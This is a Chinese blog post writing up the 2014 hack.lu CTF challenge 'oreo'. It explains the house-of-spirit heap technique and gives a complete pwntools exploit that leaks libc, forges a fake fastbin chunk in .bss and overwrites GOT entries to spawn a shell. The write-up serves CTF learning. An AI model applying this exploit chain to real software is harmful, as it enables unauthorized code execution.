2014 hack.lu oreo house of sprit

什么是house of spirit?

简单说一下我自己的理解,详细的可以看wiki。

其核心在于在一个任意可写或间接可写的位置伪造一个fake_chunk,然后通过释放该fake_chunk,即可将该fake_chunk连入fastbin中,通过malloc达到分配指定地址chunk的目的。

看道例题:2014 hack.lu oreo

漏洞点:存在堆溢出,chunk未完全free

利用思路:

1.泄露libc: add一个chunk,并且将该chunk的第13个地址位改为任意函数的got表地址,即可泄露libc的基地址

2.构造fake_chunk: 题目中有个在bss段写入数据的函数,并且存在一个指针,这个指针指向0x804a2c0,通过控制fakegun_num,构造fake_chunk,那么下次malloc时,我们就可以编辑fake_chunk从而达到任意地址写的目的。

3.随后修改got表即可getshell

 exp:

from pwn import *
p = process("./oreo")
e = ELF("./oreo")
libc = e.libc
p.timeout = 0.01
context.log_level ="debug"
num_addr = 0x804a2a8
def add(name,desc):
	p.recvuntil("Action: ")
	p.sendline("1")
	p.recvuntil("Rifle name: ")  
	p.sendline(name)
	p.recvuntil("Rifle description: ")
	p.sendline(desc)

def show_add():
	p.recvuntil("Action: ")
	p.sendline("2")

def free():
	p.recvuntil("Action: ")
	p.sendline("3")
def edit_bss(content):
	p.recvuntil("Action: ")
	p.sendline("4")
	p.sendline(content)
def show_stats():
	p.recvuntil("Action: ")
	p.sendline("5")
def dbg():
	gdb.attach(p)
	pause()
pl1 = 'a'*(3+20+4)+ p32(e.got['puts'])
add(pl1,'b'*4)
show_add()
p.recvuntil("Description: bbbb\n")
p.recvuntil("Description: ")
puts_addr = u32(p.recv(4))
libc_base = puts_addr - libc.sym["puts"]
sys = libc_base + libc.sym['system']
sh = libc_base  + next(libc.search("/bin/sh"))
log.success("puts_addr: "+hex(puts_addr))
count = 1
while (count < 0x40-1):
	add('a'*4,'b'*4)
	count+=1
add("a"*(27)+p32(0x804a2a8),"b"*4)
pl2 = '\x00'*(0x20) + p32(0x40) + p32(0x100)
edit_bss(pl2)
free()
pl3 = p32(e.got["strlen"]).ljust(20,'a')
add('a'*(20),pl3)
gad = libc_base + 0x3ac6c
edit_bss(p32(sys)+";/bin/sh\x00")

p.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值